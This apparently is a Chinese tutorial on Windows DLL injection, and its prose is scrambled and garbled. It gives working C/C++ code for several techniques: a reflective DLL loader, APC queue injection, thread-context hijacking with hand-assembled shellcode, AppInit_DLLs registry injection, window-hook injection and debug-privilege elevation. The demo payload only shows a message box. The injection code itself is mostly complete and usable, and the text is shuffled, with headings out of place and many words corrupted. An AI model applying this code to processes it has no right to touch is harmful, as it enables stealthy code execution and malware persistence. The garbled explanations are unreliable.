            FunctionCount = 1;

            for (INT i = 0; i < ExportDirectory->NumberOfFunctions; i++)
            {
                if (FunctionCount == 0)
                {
                    break;
                }

                CHAR* szExportFunctionName = (CHAR*)((PUINT8)DllBaseAddress + AddressOfNames[i]);

                HashValue = hash(szExportFunctionName);

                if (HashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
                {
                    Ordinal = AddressOfNameOrdinals[i];
                    NtFlushInstructionCacheAddress = (pfnNtFlushInstructionCache)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
                    FunctionCount--;
                }
            }
        }


        if (LoadLibraryAAddress != NULL &&
            GetProcAddressAddress != NULL &&
            VirtualAllocAddress != NULL &&
            NtFlushInstructionCacheAddress != NULL)
        {
            break;
        }
    }

    // 2.申请内存,重新加载我们的Dll

    // 再次更新DosHeader和NtHeader
    DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;
    NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew);

    // 重新申请内存(SizeOfImage就是PE在内存中的大小)

    /*    _asm
    {
    int 3;
    }
    */
    // 这个自己重新申请的头指针不敢随便移动,使用一个变量来替代
    UINT_PTR NewBaseAddress = (UINT_PTR)VirtualAllocAddress(NULL, NtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    UINT_PTR OldPtr = LibraryAddress;
    UINT_PTR BasePtr = NewBaseAddress;


    // 2.1首先拷贝头 + 节表
    UINT32    SizeOfHeaders = NtHeader->OptionalHeader.SizeOfHeaders;
    while (SizeOfHeaders--)
    {
        *(PUINT8)BasePtr++ = *(PUINT8)OldPtr++;
    }
    //    memcpy((PVOID)NewBaseAddress, (PVOID)LibraryAddress, NtHeader->OptionalHeader.SizeOfHeaders);

    /*
    PIMAGE_SECTION_HEADER    SectionHeader = (PIMAGE_SECTION_HEADER)((PUINT8)&NtHeader->OptionalHeader + NtHeader->FileHeader.SizeOfOptionalHeader);
    UINT32                    NumberOfSections = NtHeader->FileHeader.NumberOfSections;
    while (NumberOfSections--)
    {
        UINT_PTR    NewSectionAddress = (UINT_PTR)((PUINT8)NewBaseAddress + SectionHeader->VirtualAddress);
        UINT_PTR    OldSectionAddress = (UINT_PTR)((PUINT8)LibraryAddress + SectionHeader->PointerToRawData);
        UINT32 SizeOfRawData = SectionHeader->SizeOfRawData;
        while (SizeOfRawData--)
        {
            *(PUINT8)NewSectionAddress++ = *(PUINT8)OldSectionAddress++;
        }
        SectionHeader = (PIMAGE_SECTION_HEADER)((PUINT8)SectionHeader + sizeof(IMAGE_SECTION_HEADER));
    }
    */

    // 2.2拷贝节区
    PIMAGE_SECTION_HEADER    SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
    for (INT i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
    {
        if (SectionHeader[i].VirtualAddress == 0 || SectionHeader[i].SizeOfRawData == 0)    // 节块里面没有数据
        {
            continue;
        }

        // 定位该节块在内存中的位置
        UINT_PTR    NewSectionAddress = (UINT_PTR)((PUINT8)NewBaseAddress + SectionHeader[i].VirtualAddress);
        UINT_PTR    OldSectionAddress = (UINT_PTR)((PUINT8)LibraryAddress + SectionHeader[i].PointerToRawData);
        // 复制节块数据到虚拟内存
        UINT32 SizeOfRawData = SectionHeader[i].SizeOfRawData;
        while (SizeOfRawData--)
        {
            *(PUINT8)NewSectionAddress++ = *(PUINT8)OldSectionAddress++;
        }
        //memcpy(SectionAddress, (PVOID)((PUINT8)LibraryAddress + SectionHeader[i].PointerToRawData), SectionHeader[i].SizeOfRawData);
    }

    // 2.3修正导入表(IAT)
    IMAGE_DATA_DIRECTORY        ImportDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
    PIMAGE_IMPORT_DESCRIPTOR    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)NewBaseAddress + ImportDataDirectory.VirtualAddress);

    /*    
    _asm
    {
        int 3;
    }
    */
/*
    while (ImportDescriptor->Characteristics != 0)
    {
        PIMAGE_THUNK_DATA    FirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor->FirstThunk);
        PIMAGE_THUNK_DATA    OriginalFirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor->OriginalFirstThunk);

        // 获取导入模块名称
        //    char    szModuleName[MAX_PATH] = { 0 };

        PCHAR    ModuleName = (PCHAR)((PUINT8)NewBaseAddress + ImportDescriptor->Name);

        HMODULE    Dll = LoadLibraryAAddress(ModuleName);

        UINT_PTR            FunctionAddress = 0;

        for (INT i = 0; OriginalFirstThunk[i].u1.Function != 0; i++)
        {
            if (IMAGE_SNAP_BY_ORDINAL(OriginalFirstThunk[i].u1.Ordinal))
            {
                FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, MAKEINTRESOURCEA((IMAGE_ORDINAL(OriginalFirstThunk[i].u1.Ordinal))));
            }
            else
            {
                PIMAGE_IMPORT_BY_NAME    ImageImportByName = (PIMAGE_IMPORT_BY_NAME)((PUINT8)NewBaseAddress + OriginalFirstThunk[i].u1.AddressOfData);
                FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, (CHAR*)ImageImportByName->Name);        // 通过函数名称得到函数地址
            }
            FirstThunk[i].u1.Function = FunctionAddress;
        }
        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)ImportDescriptor + sizeof(IMAGE_IMPORT_DESCRIPTOR));
    }

*/

    for (INT i = 0; ImportDescriptor[i].Name != NULL; i++)
    {
        // 加载导入动态库
        HMODULE    Dll = LoadLibraryAAddress((const CHAR*)((PUINT8)NewBaseAddress + ImportDescriptor[i].Name));

        PIMAGE_THUNK_DATA    OriginalFirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor[i].OriginalFirstThunk);
        PIMAGE_THUNK_DATA    FirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor[i].FirstThunk);
        UINT_PTR            FunctionAddress = 0;

        // 遍历每个导入模块的函数
        for (INT j = 0; OriginalFirstThunk[j].u1.Function; j++)
        {
            if (&OriginalFirstThunk[j] && IMAGE_SNAP_BY_ORDINAL(OriginalFirstThunk[j].u1.Ordinal))
            {
                // 序号导入---->这里直接从Dll的导出表中找到函数地址
                //    FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, MAKEINTRESOURCEA((IMAGE_ORDINAL(OriginalFirstThunk[j].u1.Ordinal))));        // 除去最高位即为序号

                DosHeader = (PIMAGE_DOS_HEADER)Dll;
                NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)Dll + DosHeader->e_lfanew);

                PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)Dll + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

                // 导出函数地址RVA数组
                PUINT32    AddressOfFunctions = (PUINT32)((PUINT8)Dll + ExportDirectory->AddressOfFunctions);

                UINT16    Ordinal = IMAGE_ORDINAL(OriginalFirstThunk[j].u1.Ordinal - ExportDirectory->Base);        // 导出函数编号 - Base(导出函数编号的起始值) = 导出函数在函数地址表中序号

                FunctionAddress = (UINT_PTR)((PUINT8)Dll + AddressOfFunctions[Ordinal]);
            }
            else
            {
                // 名称导入
                PIMAGE_IMPORT_BY_NAME    ImageImportByName = (PIMAGE_IMPORT_BY_NAME)((PUINT8)NewBaseAddress + OriginalFirstThunk[j].u1.AddressOfData);
                FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, (CHAR*)ImageImportByName->Name);        // 通过函数名称得到函数地址
            }
            // 更新IAT
            FirstThunk[j].u1.Function = FunctionAddress;
        }
    }



    // 2.4修正重定向表
    DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;
    NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew);

    //    UINT_PTR Delta = NewBaseAddress - NtHeader->OptionalHeader.ImageBase;

    IMAGE_DATA_DIRECTORY    BaseRelocDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);

    // 有无重定向表
    if (BaseRelocDataDirectory.Size != 0)
    {
        PIMAGE_BASE_RELOCATION    BaseRelocation = (PIMAGE_BASE_RELOCATION)((PUINT8)NewBaseAddress + BaseRelocDataDirectory.VirtualAddress);

        while (BaseRelocation->SizeOfBlock != 0)
        {
            typedef struct _IMAGE_RELOC
            {
                UINT16    Offset : 12;        // 低12位---偏移
                UINT16    Type : 4;            // 高4位---类型
            } IMAGE_RELOC, *PIMAGE_RELOC;

            // 定位到重定位块
            PIMAGE_RELOC RelocationBlock = (PIMAGE_RELOC)((PUINT8)BaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
            // 计算需要修正的重定向位项的数目
            UINT32    NumberOfRelocations = (BaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(UINT16);

            for (INT i = 0; i < NumberOfRelocations; i++)
            {
                if (RelocationBlock[i].Type == IMAGE_REL_BASED_DIR64)
                {
                    // 64 位
                    PUINT64    Address = (PUINT64)((PUINT8)NewBaseAddress + BaseRelocation->VirtualAddress + RelocationBlock[i].Offset);
                    UINT64    Delta = (UINT64)NewBaseAddress - NtHeader->OptionalHeader.ImageBase;
                    *Address += Delta;

                }
                else if (RelocationBlock[i].Type == IMAGE_REL_BASED_HIGHLOW)
                {
                    // 32 位
                    PUINT32    Address = (PUINT32)((PUINT8)NewBaseAddress + BaseRelocation->VirtualAddress + (RelocationBlock[i].Offset));
                    UINT32    Delta = (UINT32)NewBaseAddress - NtHeader->OptionalHeader.ImageBase;
                    *Address += Delta;
                }
            }
            // 转到下一张重定向表
            BaseRelocation = (PIMAGE_BASE_RELOCATION)((PUINT8)BaseRelocation + BaseRelocation->SizeOfBlock);
        }
    }

    // 3.获得模块OEP

    UINT_PTR AddressOfEntryPoint = (UINT_PTR)((PUINT8)NewBaseAddress + NtHeader->OptionalHeader.AddressOfEntryPoint);

    NtFlushInstructionCacheAddress(INVALID_HANDLE_VALUE, NULL, 0);

    // 调用通过OEP去调用DllMain
    ((pfnDllMain)AddressOfEntryPoint)((HMODULE)NewBaseAddress, DLL_PROCESS_ATTACH, lParam);

    /*    _asm
    {
    int 3;
    }
    */
    return AddressOfEntryPoint;
}

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBoxA(0, 0, 0, 0);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

  该情势学习自github上称之为ReflevtiveDllInjection,大要上分为七个部分,exe和dll,下边分别简述。

  基本思路是:1.在目的经过内部存款和储蓄器空间申请内部存款和储蓄器;2.在刚申请的内部存款和储蓄器中写入Dll完整路线;3.创设新线程,去施行LoadLibrary,从而实现注入Dll。

  ps:由于注入的Dll在经过创立的先前时代,所以在Dll中应用函数要相当小心,因为有的库只怕还未加载上。

  这里笔者选取的呼叫指令是ff 15 和 ff 25,在叁13位下为跳转到15(25)指令前面字节码对应地址里面贮存的地点,在64人下15(25)指令前边四字节存放的是偏移,该跳转为跳转到换算出来的地址里面贮存之处,这里自身把偏移写成0,以便于计算。

图片 5图片 6

  我把注入的章程分成六类,分别是:1.开立新线程、2.安装线程上下背景文,校正贮存器、3.插入Apc队列、4.修改注册表、5.联系窗口新闻、6.远程手动落成LoadLibrary。

int main()
{
    ......

    ThreadCount = ThreadIdVector.size();
    for (INT i = ThreadCount - 1; i >= 0; i--)
    {
        UINT32 ThreadId = ThreadIdVector[i];
        InjectDllByApc(ProcessId, ThreadId);
    }
    ......
}

BOOL InjectDllByApc(IN UINT32 ProcessId, IN UINT32 ThreadId)
{
    BOOL        bOk = 0;
    HANDLE        ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
    HANDLE        ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    UINT_PTR    LoadLibraryAddress = 0;
    SIZE_T        ReturnLength = 0;
    UINT32        DllFullPathLength = (strlen(DllFullPath) + 1);

    // 全局,申请一次内存
    if (DllFullPathBufferData == NULL)
    {
        //申请内存
        DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (DllFullPathBufferData == NULL)
        {
            CloseHandle(ProcessHandle);
            CloseHandle(ThreadHandle);
            return FALSE;
        }
    }

    // 避免之前写操作失败,每次重复写入

    bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1,
        &ReturnLength);
    if (bOk == FALSE)
    {
        CloseHandle(ProcessHandle);
        CloseHandle(ThreadHandle);
        return FALSE;
    }

    LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
    if (LoadLibraryAddress == NULL)
    {
        CloseHandle(ProcessHandle);
        CloseHandle(ThreadHandle);
        return FALSE;
    }

    __try
    {

        QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (UINT_PTR)DllFullPathBufferData);

    }
    __except (EXCEPTION_CONTINUE_EXECUTION)
    {
    }


    CloseHandle(ProcessHandle);
    CloseHandle(ThreadHandle);

    return TRUE;
}

#ifdef _WIN64
    WCHAR* wzSubKey = L"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows";
#else
    WCHAR* wzSubKey = L"SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows";
#endif // _WIN64

  ps:这里直接行使从自身加载的kernel32模块导出表中得到LoadLibrary地址,是因为相似景况下,全数进度加载那类系统库在内存中的地址相像!

  那么下边就起来读书之旅吧!

权限令牌

TlHelp

// 传入参数 SE_DEBUG_PRIVILEGE,提升到调试权限

#define SE_DEBUG_PRIVILEGE                (20L)

typedef
NTSTATUS(NTAPI * pfnRtlAdjustPrivilege)(
    UINT32 Privilege,
    BOOLEAN Enable,
    BOOLEAN Client,
    PBOOLEAN WasEnabled);

BOOL GrantPriviledge(IN UINT32 Priviledge)
{
    pfnRtlAdjustPrivilege    RtlAdjustPrivilege = NULL;
    BOOLEAN                    WasEnable = FALSE;

    RtlAdjustPrivilege = (pfnRtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAdjustPrivilege");
    if (RtlAdjustPrivilege == NULL)
    {
        return FALSE;
    }

    RtlAdjustPrivilege(Priviledge, TRUE, FALSE, &WasEnable);

    return TRUE;
}

0x05.改造注册表

0x00.前言

图片 7图片 8

// 使用ToolHelp系列函数

#include <TlHelp32.h>

BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId)
{
    HANDLE            ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
    PROCESSENTRY32    ProcessEntry32 = { 0 };

    ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);        // 初始化PROCESSENTRY32结构

    ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    // 给系统所有的进程快照
    if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    if (Process32First(ProcessSnapshotHandle, &ProcessEntry32))        // 找到第一个
    {
        do
        {
            if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0)        // 不区分大小写
            {
                *ProcessId = ProcessEntry32.th32ProcessID;
                break;
            }
        } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));
    }

    CloseHandle(ProcessSnapshotHandle);
    ProcessSnapshotHandle = INVALID_HANDLE_VALUE;

    if (*ProcessId == 0)
    {
        return FALSE;
    }

    return TRUE;
}

 

  return CallNextHookEx(NULL, nCode, wParam, lParam);
 }

  挂钩窗口新闻使用了MS提供的叁个API接口SetWindowsHookEx。

  成立新线程,也便是在对象经过里,创设一个线程为大家服务,而创制线程的点子自个儿找到的有三种:1.CreateRemoteThread;2.NtCreateThreadEx;3.中华VtlCreateUserThread。

  ps:写代码时参照《Windows PE权威指南》,对总体PE结构又有了新的认知。作者有for循环失眠。。那份代码就全贴上了。

  大家要设置的键值是AppInit_DLLs = “Dll完整路线”,LoadAppInit_Dlls = 1(让系统使用这么些注册表项卡塔尔国 

  Ring3层的Apc注入是不太平静的,小编的做法正是强力的向指标经过的所无线程的UserMode Apc队列(线程有多少个Apc队列:Kernel和User卡塔 尔(英语:State of Qatar)上插入Apc对象,等待她去奉行该Apc里登记的函数。而仅有当线程处于alterable状态时,才会翻动Apc队列是不是有需求实践的注册函数。

0x08.总结

TlHelp

  Dll:最关键导出 LoadDllByOEP 函数,在该函数里,首先通过指标经过加载模块ntdll.dll的导出表中得到NtFlushInstructionCache函数地址,在Kernel32.dll的导出表中获得LoadLibraryA、GetProcAddress、VirtualAlloc函数地址;然后在经过内部存款和储蓄器空间里再一次申请内部存款和储蓄器,拷贝本身的PE结构到内存里,接着改过IAT和重定向块,最终调用模块OEP,实现了手动完毕LoadLibrary!

0x04.插入Apc队列

// ZwQuerySystemInformation+SystemProcessInformation

typedef
NTSTATUS(NTAPI * pfnZwQuerySystemInformation)(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN UINT32 SystemInformationLength,
    OUT PUINT32 ReturnLength OPTIONAL);

BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT PUINT32 ThreadId)
{
    BOOL                        bOk = FALSE;
    NTSTATUS                    Status = 0;
    PVOID                        BufferData = NULL;
    PSYSTEM_PROCESS_INFO        spi = NULL;
    pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;

    ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation");
    if (ZwQuerySystemInformation == NULL)
    {
        return FALSE;
    }

    BufferData = malloc(1024 * 1024);
    if (!BufferData)
    {
        return FALSE;
    }

    // 在QuerySystemInformation系列函数中,查询SystemProcessInformation时,必须提前申请好内存,不能先查询得到长度再重新调用
    Status = ZwQuerySystemInformation(SystemProcessInformation, BufferData, 1024 * 1024, NULL);
    if (!NT_SUCCESS(Status))
    {
        free(BufferData);
        return FALSE;
    }

    spi = (PSYSTEM_PROCESS_INFO)BufferData;

    // 遍历进程,找到我们的目标进程
    while (TRUE)
    {
        bOk = FALSE;
        if (spi->UniqueProcessId == (HANDLE)ProcessId)
        {
            bOk = TRUE;
            break;
        }
        else if (spi->NextEntryOffset)
        {
            spi = (PSYSTEM_PROCESS_INFO)((PUINT8)spi + spi->NextEntryOffset);
        }
        else
        {
            break;
        }
    }

    if (bOk)
    {
        for (INT i = 0; i < spi->NumberOfThreads; i++)
        {
            // 返出找到的线程Id
            *ThreadId = (UINT32)spi->Threads[i].ClientId.UniqueThread;
            break;
        }
    }

    if (BufferData != NULL)
    {
        free(BufferData);
    }

    return bOk;
}

0x07.远程手动达成LoadLibrary

RtlAdjustPrivilege

图片 9图片 10

  exe:作为注入运维程序,在指标经过申请一块儿PAGE_EXECUTE_READWLacrosseITE内存,将Dll以文件格式直接写入指标经过内存空间中,然后拿走导出函数"LoadDllByOEP"在文书中的偏移,使用CreateRemoteThread间接让对象经过去实行LoadDllByOEP函数。

 // 调节和测验开采,这里的调用约定要选择__stdcall,应该跟货仓有关系
 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
 {
  MessageBox(0, 0, 0, 0);

0x06.联系窗口消息

  x86下:HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindows NTCurrentVersionWindows

// 枚举指定进程Id的所有线程,压入模板中

#include <vector>
#include <TlHelp32.h>
using namespace std;

BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT vector<UINT32>& ThreadIdVector)
{
    HANDLE            ThreadSnapshotHandle = NULL;
    THREADENTRY32    ThreadEntry32 = { 0 };

    ThreadEntry32.dwSize = sizeof(THREADENTRY32);

    ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);        // 给系统所有的线程快照
    if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    if (Thread32First(ThreadSnapshotHandle, &ThreadEntry32))
    {
        do
        {
            if (ThreadEntry32.th32OwnerProcessID == ProcessId)
            {
                ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID);        // 把该进程的所有线程id压入模板
            }
        } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));
    }

    CloseHandle(ThreadSnapshotHandle);
    ThreadSnapshotHandle = NULL;
    return TRUE;
}

  注册表注入算得上是全局Hook了啊,究竟新创造的经过在加载User32.dll时,都会自动调用LoadLibrary去加载注册表中有个别表项键值里写入的Dll路径。

// 使用Psapi系列枚举函数

#include <Psapi.h>

BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId)
{
    DWORD    dwProcessesId[1024] = { 0 };
    DWORD    BytesReturned = 0;
    UINT32    ProcessCount = 0;

    // 获得当前操作系统中的所有进程Id,保存在dwProcessesId数组里
    if (!EnumProcesses(dwProcessesId, sizeof(dwProcessesId), &BytesReturned))
    {
        return FALSE;
    }

    ProcessCount = BytesReturned / sizeof(DWORD);

    // 遍历
    for (INT i = 0; i < ProcessCount; i++)
    {
        HMODULE    ModuleBase = NULL;
        WCHAR    wzModuleBaseName[MAX_PATH] = { 0 };
        HANDLE    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessesId[i]);

        if (ProcessHandle == NULL)
        {
            continue;
        }

        if (EnumProcessModulesEx(ProcessHandle, &ModuleBase, sizeof(HMODULE), &BytesReturned, LIST_MODULES_ALL))
        {
            // 获得进程第一模块名称
            GetModuleBaseName(ProcessHandle, ModuleBase, wzModuleBaseName, MAX_PATH * sizeof(WCHAR));
        }

        CloseHandle(ProcessHandle);
        ProcessHandle = NULL;

        if (lstrcmpi(wzModuleBaseName, wzProcessImageName) == 0)        // 不区分大小写
        {
            *ProcessId = dwProcessesId[i];
            break;
        }
    }

    if (*ProcessId == 0)
    {
        return FALSE;
    }

    return TRUE;
}
#ifdef _WIN64
// 测试 64 位 dll被注,Bug已修复

/*
0:019> u 0x000002b5d5f80000
000002b5`d5f80000 4883ec28        sub     rsp,28h
000002b5`d5f80004 488d0d20000000  lea     rcx,[000002b5`d5f8002b]
000002b5`d5f8000b ff1512000000    call    qword ptr [000002b5`d5f80023]
000002b5`d5f80011 4883c428        add     rsp,28h
000002b5`d5f80015 ff2500000000    jmp     qword ptr [000002b5`d5f8001b]
*/

UINT8    ShellCode[0x100] = {
    0x48,0x83,0xEC,0x28,    // sub rsp ,28h

    0x48,0x8D,0x0d,            // [+4] lea rcx,
    0x00,0x00,0x00,0x00,    // [+7] DllNameOffset = [+43] - [+4] - 7

    // call 跳偏移,到地址,解*号
    0xff,0x15,                // [+11]
    0x00,0x00,0x00,0x00,    // [+13] 

    0x48,0x83,0xc4,0x28,    // [+17] add rsp,28h

    // jmp 跳偏移,到地址,解*号
    0xff,0x25,                // [+21]
    0x00,0x00,0x00,0x00,    // [+23] LoadLibraryAddressOffset

    // 存放原先的 rip
    0x00,0x00,0x00,0x00,    // [+27]
    0x00,0x00,0x00,0x00,    // [+31]

    // 跳板 loadlibrary地址
    0x00,0x00,0x00,0x00,    // [+35] 
    0x00,0x00,0x00,0x00,    // [+39]

// 存放dll完整路径
//    0x00,0x00,0x00,0x00,    // [+43]
//    0x00,0x00,0x00,0x00        // [+47]
//    ......
};
#else
// 测试 32 位 配合新写的Dll可重复注入

/*
0:005> u 0x00ca0000
00000000`00ca0000 60              pusha
00000000`00ca0001 9c              pushfq
00000000`00ca0002 681d00ca00      push    0CA001Dh
00000000`00ca0007 ff151900ca00    call    qword ptr [00000000`01940026]
00000000`00ca000d 9d              popfq
00000000`00ca000e 61              popa
00000000`00ca000f ff251500ca00    jmp     qword ptr [00000000`0194002a]

*/

UINT8    ShellCode[0x100] = {
    0x60,                    // [+0] pusha
    0x9c,                    // [+1] pushf
    0x68,                    // [+2] push
    0x00,0x00,0x00,0x00,    // [+3] ShellCode + 
    0xff,0x15,                // [+7] call    
    0x00,0x00,0x00,0x00,    // [+9] LoadLibrary Addr  Addr
    0x9d,                    // [+13] popf
    0x61,                    // [+14] popa
    0xff,0x25,                // [+15] jmp
    0x00,0x00,0x00,0x00,    // [+17] jmp  eip

    // eip 地址
    0x00,0x00,0x00,0x00,    // [+21]
    // LoadLibrary 地址
    0x00,0x00,0x00,0x00,    // [+25] 
    // DllFullPath 
    0x00,0x00,0x00,0x00        // [+29] 
};

#endif

  然后在举个例子插入Apc队列、挂起线程等等操作中,需求对目的经过的线程操作,所以获得线程Id也许有供给,雷同的自个儿也提供了三种通过进程Id获得线程Id的措施。第一个仍是运用TlHelp创设系统的线程快速照相,把具备的线程存入vector模板里(供Apc注入使用卡塔 尔(阿拉伯语:قطر‎;第一个是选拔ZwQuerySystemInformation大法,枚举系统经过音信,那么些方式自身只回去了二个线程Id,已经够用了。

BOOL Inject(IN UINT32 ProcessId, IN UINT32 ThreadId)
{
    BOOL        bOk = FALSE;
    CONTEXT        ThreadContext = { 0 };
    PVOID        BufferData = NULL;

    HANDLE        ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
    HANDLE        ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);


    // 首先挂起线程
    SuspendThread(ThreadHandle);


    ThreadContext.ContextFlags = CONTEXT_ALL;
    if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
    {
        CloseHandle(ThreadHandle);
        CloseHandle(ProcessHandle);
        return FALSE;
    }

    BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (BufferData != NULL)
    {

        if (LoadLibraryWAddress != NULL)
        {
#ifdef _WIN64

            // ShellCode + 43处 存放完整路径
            PUINT8    v1 = ShellCode + 43;
            memcpy(v1, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR));
            UINT32    DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7);
            *(PUINT32)(ShellCode + 7) = DllNameOffset;

            // ShellCode + 35处 放置 LoadLibrary 函数地址
            *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryWAddress;
            UINT32    LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6);
            *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset;

            // 放置 rip 地址
            *(PUINT64)(ShellCode + 27) = ThreadContext.Rip;

            if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
            {
                return FALSE;
            }
            ThreadContext.Rip = (UINT64)BufferData;

#else
            PUINT8    v1 = ShellCode + 29;

            memcpy((char*)v1, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR));    //这里是要注入的DLL名字
            *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29;

            *(PUINT32)(ShellCode + 25) = LoadLibraryWAddress;   //loadlibrary地址放入shellcode中
            *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25;//修改call 之后的地址 为目标空间存放 loaddlladdr的地址
                                                                //////////////////////////////////
            *(PUINT32)(ShellCode + 21) = ThreadContext.Eip;
            *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21;//修改jmp 之后为原来eip的地址
            if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
            {
                printf("write Process Errorn");
                return FALSE;
            }
            ThreadContext.Eip = (UINT32)BufferData;

#endif            
            if (!SetThreadContext(ThreadHandle, &ThreadContext))
            {
                printf("set thread context errorn");
                return FALSE;
            }
            ResumeThread(ThreadHandle);


            printf("ShellCode 注入完成rn");
        }
    }

    CloseHandle(ThreadHandle);
    CloseHandle(ProcessHandle);
    return TRUE;
}

 

  他的劳作规律是给带窗口的靶子经过的某部线程的有些音讯挂钩上大家Dll导出的函数,生龙活虎旦音讯触发,则导出函数(管理该新闻的钩程序,调用约定须要时__stdcall卡塔尔就能够被调用,这时候还索要调用。后边学习到的两种方法追根究底是调用了LoadLibrary,而以此法子并未有。

  ps:正是因为不清楚哪位线程会去管理Apc,所以感到Ring3层Apc注入不及别的情势好使,可是Ring0层Apc注入只怕比较牢固的。早前测量检验xp和win10都功成业就,win7下注explorer进度总是崩溃,后来捯饬半天,开采遍历线程的时候从后往前遍历着插入就不会崩溃Orz

0x01.预备工作

  我们关心的那一个注册表项键是:

  设置线程上下背景文的严重性指标是让对象经过的某一线程转去实行大家的代码,然后再回来做她该做的事,而大家的代码,就是风姿罗曼蒂克串由汇编硬编码组成的ShellCode。

  嗯,近期停止,预备工作差不离告竣,那咱们就开纠正题吧!

  奉上代码下载地址:https://github.com/YouArekongqi/InjectCollection.git

int main()
{
    LSTATUS Status = 0;

图片 11图片 12

